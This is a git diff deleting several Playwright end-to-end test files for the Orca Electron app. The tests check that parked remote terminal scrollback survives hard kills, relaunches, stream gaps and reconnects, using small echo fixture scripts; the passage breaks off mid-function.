randomUUID } from 'node:crypto' -import os from 'node:os' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { resolveLeafScrollbackBuffers } from '../../src/renderer/src/components/terminal-pane/snapshots/leaf-scrollback-resolution' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { cleanupE2EDaemons, forceQuitElectronAppForE2E } from './helpers/electron-process-shutdown' -import { - callEnvironment, - createPairedHostTerminal, - openPairedClientTab, - waitForPairedPaneMarker, - type PairedHostTerminal -} from './helpers/paired-host-terminal' -import { focusActiveTerminalInput } from './helpers/terminal' -import { waitForTabParked } from './helpers/terminal-hidden-parking' -import { readPersistedProfileState } from './helpers/persisted-profile-state' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const PARK_DELAY_MS = 2_000 -const PAINT_BUDGET_MS = 30_000 -/** Renderer debounce (150 ms) + main's save debounce (1 s, 5 s max wait), with slack. */ -const DEBOUNCED_WRITE_BUDGET_MS = 20_000 -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-parked-restart-')) -const fixturePath = path.join(scratch, 'echo-terminal.mjs') -writeFileSync( - fixturePath, - [ - "process.stdout.write('READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' process.stdout.write(`LINE:${line}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(): string { - const command = [process.execPath, fixturePath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -type OnDiskPartitionReading = { - partition: string - hasTabRow: boolean - hasLayout: boolean - bufferLength: number -} - -function isRecord(value: unknown): value is Record { - return typeof value === 'object' && value !== null && !Array.isArray(value) -} - -function readSessionPartition( - partition: string, - session: unknown, - webTabId: string -): OnDiskPartitionReading | null { - if (!isRecord(session)) { - return null - } - const tabsByWorktree = isRecord(session.tabsByWorktree) ? session.tabsByWorktree : {} - const hasTabRow = Object.values(tabsByWorktree).some( - (tabs) => Array.isArray(tabs) && tabs.some((tab) => isRecord(tab) && tab.id === webTabId) - ) - const layouts = isRecord(session.terminalLayoutsByTabId) ? session.terminalLayoutsByTabId : {} - const layout = layouts[webTabId] - const hasLayout = isRecord(layout) - const localOnlyHomes = isRecord(session.localOnlyScrollbackByTabId) - ? session.localOnlyScrollbackByTabId - : {} - // Use production’s resolver: ordinary park stores localOnlyScrollbackByTabId, so reading only buffersByLeafId reports a false zero. - const buffers = resolveLeafScrollbackBuffers({ - shared: hasLayout ? { buffersByLeafId: stringRecord(layout.buffersByLeafId) } : undefined, - localOnly: stringRecord(localOnlyHomes[webTabId]) - }) - const bufferLength = Object.values(buffers ?? {}).join('').length - return { partition, hasTabRow, hasLayout, bufferLength } -} - -function stringRecord(value: unknown): Record | undefined { - if (!isRecord(value)) { - return undefined - } - return Object.fromEntries( - Object.entries(value).filter((entry): entry is [string, string] => typeof entry[1] === 'string') - ) -} - -/** Read committed session partitions without consulting the retained compatibility export. */ -function readOnDiskPartitions(userDataDir: string, webTabId: string): OnDiskPartitionReading[] { - const state = readPersistedProfileState(userDataDir) - const readings: OnDiskPartitionReading[] = [] - const local = readSessionPartition('local', state.workspaceSession, webTabId) - if (local) { - readings.push(local) - } - const partitions = isRecord(state.workspaceSessionsByHostId) - ? state.workspaceSessionsByHostId - : {} - for (const [hostId, session] of Object.entries(partitions)) { - const reading = readSessionPartition(hostId, session, webTabId) - if (reading) { - readings.push(reading) - } - } - return readings -} - -/** Bytes the remote host's own partition holds for the tab; -1 when no partition names it. */ -function runtimePartitionBufferLength(readings: OnDiskPartitionReading[]): number { - const runtime = readings.filter((reading) => reading.partition.startsWith('runtime:')) - return runtime.length === 0 ? -1 : Math.max(...runtime.map((reading) => reading.bufferLength)) -} - -/** Bytes any 'local' partition reading holds for the tab; the pre-fix bug parked a stripped (0) or - * buffered copy here instead of in the remote host's partition. */ -function localPartitionBufferLength(readings: OnDiskPartitionReading[]): number { - const local = readings.filter((reading) => reading.partition === 'local') - return local.length === 0 ? -1 : Math.max(...local.map((reading) => reading.bufferLength)) -} - -async function waitForRuntimePartitionCapture( - userDataDir: string, - webTabId: string -): Promise { - const deadline = Date.now() + DEBOUNCED_WRITE_BUDGET_MS - let readings = readOnDiskPartitions(userDataDir, webTabId) - while (runtimePartitionBufferLength(readings) <= 0 && Date.now() < deadline) { - await new Promise((resolve) => setTimeout(resolve, 500)) - readings = readOnDiskPartitions(userDataDir, webTabId) - } - return readings -} - -async function readStoreBufferLength(page: Page, webTabId: string): Promise { - // Use the renderer’s E2E resolver handle instead of choosing a scrollback home directly. - return page.evaluate((id) => { - const buffers = window.__terminalParkingDebug?.resolveLeafScrollback(id) - return Object.values(buffers ?? {}).join('').length - }, webTabId) -} - -async function activateWorktree(page: Page, worktreeId: string): Promise { - await page.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(id) - }, worktreeId) -} - -type ParkedRemoteTerminal = { - client: PairedElectronClient - worktreeId: string - webTabId: string - token: string - tokenBeforePark: boolean - storeAtPark: number -} - -// Create/mirror/mark/park the remote PTY behind two decoys; register terminals immediately so partial failure still cleans up. -async function parkRemoteTerminalWithToken( - orcaPage: Page, - client: PairedElectronClient, - createdTerminals: string[] -): Promise { - const worktreeId = await orcaPage.evaluate(() => { - const id = window.__store?.getState().activeWorktreeId - if (!id) { - throw new Error('headed host has no active worktree') - } - return id - }) - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'paired client never saw the host worktree' } - ) - .toBe(true) - await activateWorktree(client.page, worktreeId) - - const target = await createPairedHostTerminal( - client.page, - client.environmentId, - worktreeId, - fixtureCommand() - ) - createdTerminals.push(target.terminal) - const decoys: PairedHostTerminal[] = [] - for (let index = 0; index < 2; index += 1) { - const decoy = await createPairedHostTerminal( - client.page, - client.environmentId, - worktreeId, - fixtureCommand() - ) - createdTerminals.push(decoy.terminal) - decoys.push(decoy) - } - - await openPairedClientTab(client.page, worktreeId, target.webTabId) - await waitForPairedPaneMarker(client.page, target.webTabId, 'READY', PAINT_BUDGET_MS) - const token = `LINE:token-${randomUUID()}` - await focusActiveTerminalInput(client.page) - await client.page.keyboard.type(token.slice('LINE:'.length)) - await client.page.keyboard.press('Enter') - const tokenBeforePark = await waitForPairedPaneMarker( - client.page, - target.webTabId, - token, - PAINT_BUDGET_MS - ) - - for (const decoy of decoys) { - await openPairedClientTab(client.page, worktreeId, decoy.webTabId) - } - await waitForTabParked(client.page, target.webTabId, { parkDelayMs: PARK_DELAY_MS }) - const storeAtPark = await readStoreBufferLength(client.page, target.webTabId) - return { client, worktreeId, webTabId: target.webTabId, token, tokenBeforePark, storeAtPark } -} - -async function relaunchAndReveal( - offer: Awaited>, - testInfo: TestInfo, - parked: ParkedRemoteTerminal, - extraEnv: Record -): Promise<{ - relaunched: PairedElectronClient - storeAfterRelaunch: number - tokenAfterReveal: boolean -}> { - const relaunched = await launchPairedElectronClient(offer, testInfo, 'parked-restart-relaunch', { - extraEnv, - reuseUserDataDir: parked.client.userDataDir - }) - await activateWorktree(relaunched.page, parked.worktreeId) - const storeAfterRelaunch = await readStoreBufferLength(relaunched.page, parked.webTabId) - await openPairedClientTab(relaunched.page, parked.worktreeId, parked.webTabId) - const tokenAfterReveal = await waitForPairedPaneMarker( - relaunched.page, - parked.webTabId, - parked.token, - PAINT_BUDGET_MS - ) - return { relaunched, storeAfterRelaunch, tokenAfterReveal } -} - -async function closeCreatedTerminals( - client: PairedElectronClient, - createdTerminals: readonly string[] -): Promise { - for (const terminal of createdTerminals) { - await callEnvironment(client.page, client.environmentId, 'terminal.closeTab', { - terminal - }).catch(() => undefined) - } -} - -test.describe('host retains nothing', () => { - test.use({ - orcaAppExtraEnv: { ORCA_E2E_FORCE_REMOTE_TERMINAL_SNAPSHOT_UNAVAILABLE: '1' } - }) - - test('the debounced write alone lands the parked scrollback in the remote host’s partition, so a hard kill loses nothing', async ({ - orcaPage - }, testInfo) => { - test.setTimeout(600_000) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const extraEnv = { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARK_DELAY_MS) } - const first = await launchPairedElectronClient(offer, testInfo, 'parked-kill', { extraEnv }) - const userDataDir = first.userDataDir - const createdTerminals: string[] = [] - let relaunched: PairedElectronClient | null = null - try { - const parked = await parkRemoteTerminalWithToken(orcaPage, first, createdTerminals) - - // SIGKILL skips beforeunload/full checkpoints, isolating the debounced writer’s partition routing. - const onDiskAfterPark = await waitForRuntimePartitionCapture(userDataDir, parked.webTabId) - await forceQuitElectronAppForE2E(first.app) - await cleanupE2EDaemons(userDataDir) - - const reveal = await relaunchAndReveal(offer, testInfo, parked, extraEnv) - relaunched = reveal.relaunched - - console.log( - `[parked-restart] hard-kill ${JSON.stringify({ - tokenBeforePark: parked.tokenBeforePark, - storeAtPark: parked.storeAtPark, - onDiskAfterPark, - storeAfterRelaunch: reveal.storeAfterRelaunch, - tokenAfterReveal: reveal.tokenAfterReveal - })}` - ) - expect({ - tokenBeforePark: parked.tokenBeforePark, - capturedAtPark: parked.storeAtPark > 0, - profileSurvived: onDiskAfterPark.length > 0, - // Require remote-partition bytes and no stripped local copy, the original debounced-patch regression. - runtimePartitionHoldsCapture: runtimePartitionBufferLength(onDiskAfterPark) > 0, - localPartitionDidNotKeepCapture: localPartitionBufferLength(onDiskAfterPark) <= 0, - // Reveal is secondary because a live host can repaint from its own retained tail. - tokenAfterReveal: reveal.tokenAfterReveal - }).toEqual({ - tokenBeforePark: true, - capturedAtPark: true, - profileSurvived: true, - runtimePartitionHoldsCapture: true, - localPartitionDidNotKeepCapture: true, - tokenAfterReveal: true - }) - } finally { - const live = relaunched ?? first - await closeCreatedTerminals(live, createdTerminals) - await live.dispose().catch(() => undefined) - } - }) -}) diff --git a/tests/e2e/paired-remote-terminal-parked-scrollback-survives.spec.ts b/tests/e2e/paired-remote-terminal-parked-scrollback-survives.spec.ts deleted file mode 100644 index 1515abf9a34..00000000000 --- a/tests/e2e/paired-remote-terminal-parked-scrollback-survives.spec.ts +++ /dev/null @@ -1,324 +0,0 @@ -// Retain client scrollback when a paired desktop host cannot serialize the parked PTY. -// Require restored client bytes with and without an available host snapshot. -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { randomUUID } from 'node:crypto' - -import os from 'node:os' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { - callEnvironment, - createPairedHostTerminal, - openPairedClientTab, - waitForPairedPaneMarker, - type PairedHostTerminal -} from './helpers/paired-host-terminal' -import { focusActiveTerminalInput } from './helpers/terminal' -import { waitForTabParked } from './helpers/terminal-hidden-parking' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const PARK_DELAY_MS = 2_000 -const PAINT_BUDGET_MS = 30_000 -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-parked-scrollback-')) - -// Send the token only through stdin: startup/argv text reappears on respawn, while only the old buffer can retain this echo. -const fixturePath = path.join(scratch, 'parked-scrollback-terminal.mjs') -writeFileSync( - fixturePath, - [ - "process.stdout.write('READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' process.stdout.write(`LINE:${line}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(): string { - const command = [process.execPath, fixturePath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -type ParkKind = 'ordinary' - -type ParkRevealOutcome = { - /** The echoed token painted live before the park, so the pane really held it. */ - tokenBeforePark: boolean - parked: boolean - /** Ordinary park captures must stay off the shared upload. */ - parkedHome: 'local-only' | 'shared' | 'both' | 'none' - /** The same echoed line is back. Nothing replays stdin, so a respawn cannot produce it. */ - tokenAfterReveal: boolean -} - -type ScrollbackHomes = { - sharedLength: number - localOnlyLength: number - layoutKnown: boolean -} - -async function readHostWorktreeIds(page: Page): Promise<{ primary: string }> { - return page.evaluate(() => { - const state = window.__store?.getState() - const primary = state?.activeWorktreeId - if (!primary) { - throw new Error('headed host has no active worktree') - } - return { primary } - }) -} - -// Read both scrollback homes directly; a host-served reveal cannot prove where client bytes persisted. -async function readScrollbackHomes(clientPage: Page, webTabId: string): Promise { - return clientPage.evaluate((id) => { - const state = window.__store?.getState() - const layout = state?.terminalLayoutsByTabId?.[id] - return { - sharedLength: Object.values(layout?.buffersByLeafId ?? {}).join('').length, - localOnlyLength: Object.values(state?.localOnlyScrollbackByTabId?.[id] ?? {}).join('').length, - layoutKnown: layout !== undefined - } - }, webTabId) -} - -function classifyParkedHome(homes: ScrollbackHomes): ParkRevealOutcome['parkedHome'] { - if (homes.sharedLength > 0 && homes.localOnlyLength > 0) { - return 'both' - } - if (homes.sharedLength > 0) { - return 'shared' - } - return homes.localOnlyLength > 0 ? 'local-only' : 'none' -} - -async function typeToken( - clientPage: Page, - webTabId: string -): Promise<{ token: string; painted: boolean }> { - const token = `LINE:token-${randomUUID()}` - await focusActiveTerminalInput(clientPage) - await clientPage.keyboard.type(token.slice('LINE:'.length)) - await clientPage.keyboard.press('Enter') - const painted = await waitForPairedPaneMarker(clientPage, webTabId, token, PAINT_BUDGET_MS) - return { token, painted } -} - -// Hide behind two decoys because #8262 exempts the most recently hidden tab. -async function parkOrdinarily( - clientPage: Page, - environmentId: string, - worktreeId: string, - createdTerminals: string[] -): Promise { - const decoys: PairedHostTerminal[] = [] - for (let index = 0; index < 2; index += 1) { - decoys.push( - await createPairedHostTerminal(clientPage, environmentId, worktreeId, fixtureCommand()) - ) - } - createdTerminals.push(...decoys.map((decoy) => decoy.terminal)) - await openPairedClientTab(clientPage, worktreeId, decoys[0].webTabId) - await openPairedClientTab(clientPage, worktreeId, decoys[1].webTabId) -} - -// Mirror/mark/park, force an inventory frame inside the park→reveal window, then report capture and restored echo. -async function runParkRevealScenario(args: { - clientPage: Page - environmentId: string - worktreeId: string - parkKind: ParkKind - createdTerminals: string[] -}): Promise { - const { clientPage, environmentId, worktreeId, parkKind, createdTerminals } = args - const target = await createPairedHostTerminal( - clientPage, - environmentId, - worktreeId, - fixtureCommand() - ) - createdTerminals.push(target.terminal) - - await openPairedClientTab(clientPage, worktreeId, target.webTabId) - await waitForPairedPaneMarker(clientPage, target.webTabId, 'READY', PAINT_BUDGET_MS) - const { token, painted: tokenBeforePark } = await typeToken(clientPage, target.webTabId) - - await parkOrdinarily(clientPage, environmentId, worktreeId, createdTerminals) - let parked = true - try { - await waitForTabParked(clientPage, target.webTabId, { parkDelayMs: PARK_DELAY_MS }) - } catch { - parked = false - } - - // Log capture presence and catalog locality to diagnose failure. - const afterPark = await readScrollbackHomes(clientPage, target.webTabId) - const parkDiagnostics = await clientPage.evaluate( - ({ webTabId, worktreeId }) => { - const state = window.__store?.getState() - const layout = state?.terminalLayoutsByTabId?.[webTabId] - const repoId = worktreeId.split('::')[0] - const repo = (state?.repos ?? []).find((entry) => entry.id === repoId) - return { - layoutRoot: layout?.root ? JSON.stringify(layout.root) : null, - repoKnown: repo !== undefined, - repoConnectionId: repo?.connectionId ?? null, - repoExecutionHostId: repo?.executionHostId ?? null, - forceParkVerdicts: window.__terminalParkingDebug?.worktreeVerdicts() ?? [] - } - }, - { webTabId: target.webTabId, worktreeId } - ) - console.log( - `[parked-scrollback] after-park ${JSON.stringify({ parkKind, ...afterPark, ...parkDiagnostics })}` - ) - const parkedHome = classifyParkedHome(afterPark) - - // Ordinary park’s local-only bytes must survive host inventory rebuilds. - const probeTab = await createPairedHostTerminal( - clientPage, - environmentId, - worktreeId, - fixtureCommand() - ) - createdTerminals.push(probeTab.terminal) - await expect - .poll( - () => - clientPage.evaluate( - (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => tab.id), - worktreeId - ), - { - timeout: 60_000, - message: 'client never mirrored the probe tab (no inventory frame landed)' - } - ) - .toContain(probeTab.webTabId) - const afterInventoryFrame = await readScrollbackHomes(clientPage, target.webTabId) - console.log( - `[parked-scrollback] after-inventory-frame ${JSON.stringify({ parkKind, ...afterInventoryFrame })}` - ) - const survivedInventoryFrame = afterInventoryFrame.localOnlyLength > 0 - expect( - { survivedInventoryFrame }, - 'a host inventory frame wiped the park capture before the reveal' - ).toEqual({ survivedInventoryFrame: true }) - - await openPairedClientTab(clientPage, worktreeId, target.webTabId) - const tokenAfterReveal = await waitForPairedPaneMarker( - clientPage, - target.webTabId, - token, - PAINT_BUDGET_MS - ) - return { tokenBeforePark, parked, parkedHome, tokenAfterReveal } -} - -async function runScenario( - orcaPage: Page, - testInfo: TestInfo, - clientName: string, - parkKind: ParkKind -): Promise { - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedElectronClient(offer, testInfo, clientName, { - extraEnv: { - ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARK_DELAY_MS) - } - }) - const createdTerminals: string[] = [] - try { - const worktreeIds = await readHostWorktreeIds(orcaPage) - await expect - .poll( - () => - client.page.evaluate( - (ids) => { - const known = new Set( - window.__store - ?.getState() - .allWorktrees() - .map((worktree) => worktree.id) - ) - return ids.every((id) => known.has(id)) - }, - [worktreeIds.primary] - ), - { timeout: 60_000, message: 'paired client never saw the host worktree' } - ) - .toBe(true) - await client.page.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(id) - }, worktreeIds.primary) - const outcome = await runParkRevealScenario({ - clientPage: client.page, - environmentId: client.environmentId, - worktreeId: worktreeIds.primary, - parkKind, - createdTerminals - }) - console.log(`[parked-scrollback] ${clientName} ${JSON.stringify(outcome)}`) - return outcome - } finally { - for (const terminal of createdTerminals) { - await callEnvironment(client.page, client.environmentId, 'terminal.closeTab', { - terminal - }).catch(() => undefined) - } - await client.dispose() - } -} - -// Assert the upload home directly: ordinary park in shared layout would reveal fine but upload tens of MiB. -const RESTORED_LOCAL_ONLY: ParkRevealOutcome = { - tokenBeforePark: true, - parked: true, - parkedHome: 'local-only', - tokenAfterReveal: true -} - -test.describe('host retains the buffer', () => { - test('a cold-parked remote terminal restores its scrollback on reveal', async ({ - orcaPage - }, testInfo) => { - test.setTimeout(600_000) - expect(await runScenario(orcaPage, testInfo, 'host-retains', 'ordinary')).toEqual( - RESTORED_LOCAL_ONLY - ) - }) -}) - -test.describe('host retains nothing', () => { - test.use({ - orcaAppExtraEnv: { ORCA_E2E_FORCE_REMOTE_TERMINAL_SNAPSHOT_UNAVAILABLE: '1' } - }) - - test('a cold-parked remote terminal keeps its scrollback when the host cannot answer', async ({ - orcaPage - }, testInfo) => { - test.setTimeout(600_000) - expect(await runScenario(orcaPage, testInfo, 'host-empty', 'ordinary')).toEqual( - RESTORED_LOCAL_ONLY - ) - }) -}) diff --git a/tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts b/tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts deleted file mode 100644 index 35b1a6d5695..00000000000 --- a/tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts +++ /dev/null @@ -1,231 +0,0 @@ -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import type { - RuntimeTerminalListResult, - RuntimeTerminalRead, - RuntimeTerminalShow -} from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedWebClient -} from './helpers/paired-electron-client' -import { getTerminalContent, waitForActivePanePtyId } from './helpers/terminal' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-probe-gap-')) -const fixturePath = path.join(scratch, 'probe-gap-terminal.mjs') -const processedInputPath = path.join(scratch, 'processed-input.txt') -writeFileSync(processedInputPath, '') -writeFileSync( - fixturePath, - [ - "import { appendFileSync } from 'node:fs'", - 'const processedInputPath = process.argv[2]', - "process.stdout.write('PROBE_GAP_READY\\r\\n')", - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const commands = pending.split(/\\r\\n|\\r|\\n/)', - ' pending = commands.pop() ?? ""', - ' for (const input of commands) {', - ' appendFileSync(processedInputPath, `${input}\\n`)', - ' process.stdout.write(`LIVE:${input}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(): string { - const command = [process.execPath, fixturePath, processedInputPath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -async function callRuntime(page: Page, method: string, params: unknown): Promise { - return page.evaluate( - async ({ method, params }) => { - const response = await window.api.runtime.call({ method, params }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { method, params } - ) as Promise -} - -test('replaces a stale paired stream when the PTY snapshot advanced @headful', async ({ - electronApp, - orcaPage -}) => { - test.setTimeout(90_000) - const worktreeId = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const id = state?.activeWorktreeId - if (!id || !state?.allWorktrees().some((candidate) => candidate.id === id)) { - throw new Error('Headed host did not select its seeded worktree') - } - return id - }) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedWebClient(electronApp, offer) - let terminal: string | null = null - try { - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((candidate) => candidate.id === id), - worktreeId - ), - { timeout: 30_000 } - ) - .toBe(true) - const created = await callRuntime<{ - tab: { parentTabId: string; terminal: string | null } - }>(client.page, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - command: fixtureCommand(), - activate: false, - select: false, - navigation: 'caller' - }) - terminal = created.tab.terminal - if (!terminal) { - throw new Error('Paired runtime did not publish the probe-gap fixture') - } - const webTabId = toWebTerminalSurfaceTabId(created.tab.parentTabId) - await client.page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) - const tab = client.page.locator(`[data-testid="sortable-tab"][data-tab-id="${webTabId}"]`) - await expect(tab).toBeVisible({ timeout: 30_000 }) - await tab.click() - await expect(tab).toHaveAttribute('data-active', 'true') - const originalPtyId = await waitForActivePanePtyId(client.page, 30_000) - const originalHostTerminal = await callRuntime<{ terminal: RuntimeTerminalShow }>( - orcaPage, - 'terminal.show', - { terminal } - ) - expect(originalHostTerminal.terminal.ptyId).not.toBeNull() - await expect - .poll(() => getTerminalContent(client.page), { timeout: 30_000 }) - .toContain('PROBE_GAP_READY') - const textarea = client.page.locator('.xterm-helper-textarea:visible').first() - await textarea.focus() - - expect( - await client.page.evaluate((target) => { - const gate = ( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { - dropOutputUntilResubscribe: (terminals: string[]) => number - } - } - ).__remoteTerminalMultiplexAckGate - if (!gate) { - throw new Error('Remote terminal multiplex output gate is unavailable') - } - return gate.dropOutputUntilResubscribe([target]) - }, terminal) - ).toBe(1) - const missingMarker = `PROBE_GAP_MISSING_${Date.now()}` - await client.page.keyboard.type(missingMarker) - await client.page.keyboard.press('Enter') - - await expect - .poll( - () => - client.page.evaluate(() => { - const gate = ( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { - snapshot: () => { droppedOutputFrames: number } - } - } - ).__remoteTerminalMultiplexAckGate - return gate?.snapshot().droppedOutputFrames ?? 0 - }), - { timeout: 10_000 } - ) - .toBeGreaterThan(0) - await expect - .poll(() => readFileSync(processedInputPath, 'utf8'), { timeout: 10_000 }) - .toContain(`${missingMarker}\n`) - await expect - .poll( - async () => { - const result = await callRuntime<{ terminal: RuntimeTerminalRead }>( - orcaPage, - 'terminal.read', - { terminal } - ) - return result.terminal.tail.join('\n') - }, - { timeout: 10_000 } - ) - .toContain(missingMarker) - expect(await getTerminalContent(client.page)).not.toContain(`LIVE:${missingMarker}`) - - await expect - .poll(() => getTerminalContent(client.page), { timeout: 20_000 }) - .toContain(`LIVE:${missingMarker}`) - await expect(tab).toHaveAttribute('data-active', 'true') - expect(await waitForActivePanePtyId(client.page, 30_000)).toBe(originalPtyId) - const recoveredHostTerminal = await callRuntime<{ terminal: RuntimeTerminalShow }>( - orcaPage, - 'terminal.show', - { terminal } - ) - expect(recoveredHostTerminal.terminal.ptyId).toBe(originalHostTerminal.terminal.ptyId) - const hostTerminals = await callRuntime(orcaPage, 'terminal.list', { - worktree: `id:${worktreeId}`, - requireFreshPtyLiveness: true - }) - expect( - hostTerminals.terminals - .filter((candidate) => candidate.tabId === created.tab.parentTabId) - .map((candidate) => ({ handle: candidate.handle, ptyId: candidate.ptyId })) - ).toEqual([{ handle: terminal, ptyId: originalHostTerminal.terminal.ptyId }]) - - const liveMarker = `PROBE_GAP_LIVE_${Date.now()}` - await textarea.focus() - await client.page.keyboard.type(liveMarker) - await client.page.keyboard.press('Enter') - await expect - .poll(() => getTerminalContent(client.page), { timeout: 10_000 }) - .toContain(`LIVE:${liveMarker}`) - await expect - .poll(() => readFileSync(processedInputPath, 'utf8'), { timeout: 10_000 }) - .toContain(`${liveMarker}\n`) - expect(await waitForActivePanePtyId(client.page, 30_000)).toBe(originalPtyId) - } finally { - await client.page - .evaluate(() => { - ;( - window as typeof window & { - __remoteTerminalMultiplexAckGate?: { release: () => void } - } - ).__remoteTerminalMultiplexAckGate?.release() - }) - .catch(() => undefined) - if (terminal) { - await callRuntime(orcaPage, 'terminal.closeTab', { terminal }).catch(() => undefined) - } - await client.dispose() - } -}) diff --git a/tests/e2e/paired-remote-terminal-reconnect-idle-frame.spec.ts b/tests/e2e/paired-remote-terminal-reconnect-idle-frame.spec.ts deleted file mode 100644 index 820f8d27846..00000000000 --- a/tests/e2e/paired-remote-terminal-reconnect-idle-frame.spec.ts +++ /dev/null @@ -1,256 +0,0 @@ -// #26887: change an alt-screen frame while disconnected, then leave the program idle so later bytes cannot heal stale restore. -// Test both host snapshots and no-serializable-buffer, where the program must repaint itself. -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { - decodePairingOffer, - encodePairingOffer -} from '../../src/shared/remote-runtime/pairing/pairing' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { cleanupE2EDaemons } from './helpers/electron-process-shutdown' -import { - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { startFreezableTcpProxy, type FreezableTcpProxy } from './helpers/freezable-tcp-proxy' - -test.skip(process.platform === 'win32', 'The fixture drives a POSIX alt-screen TUI') - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-paired-idle-frame-')) -const fixturePath = path.join(scratch, 'idle-frame-tui.mjs') - -// Why Node: its tty repaints on SIGWINCH only when the size really changed, like Claude Code. -writeFileSync( - fixturePath, - [ - "import { appendFileSync, readFileSync } from 'node:fs'", - 'const [stateFile, sink] = process.argv.slice(2)', - "let frame = 'START'", - 'const draw = (why) => {', - // Full repaint: alt screen, clear, frame. - ' process.stdout.write(`\\x1b[?1049h\\x1b[H\\x1b[2JFRAME:${frame}\\r\\n`)', - ' appendFileSync(sink, `${why}:${frame}\\n`)', - '}', - "process.stdout.on('resize', () => draw('resize'))", - 'setInterval(() => {', - ' let next = ""', - ' try { next = readFileSync(stateFile, "utf8").trim() } catch { return }', - ' if (next && next !== frame) {', - ' frame = next', - // Diff-only update, like a spinner tick: rewrite the frame text in place. - ' process.stdout.write(`\\x1b[1;7H${frame}\\x1b[K`)', - ' appendFileSync(sink, `diff:${frame}\\n`)', - ' }', - '}, 200)', - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines.filter(Boolean)) {', - ' frame = line', - " draw('input')", - ' }', - '})', - "draw('start')" - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function readText(filePath: string): string { - try { - return readFileSync(filePath, 'utf8') - } catch { - return '' - } -} - -async function callRuntime( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: test-only RPC result shape. - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await 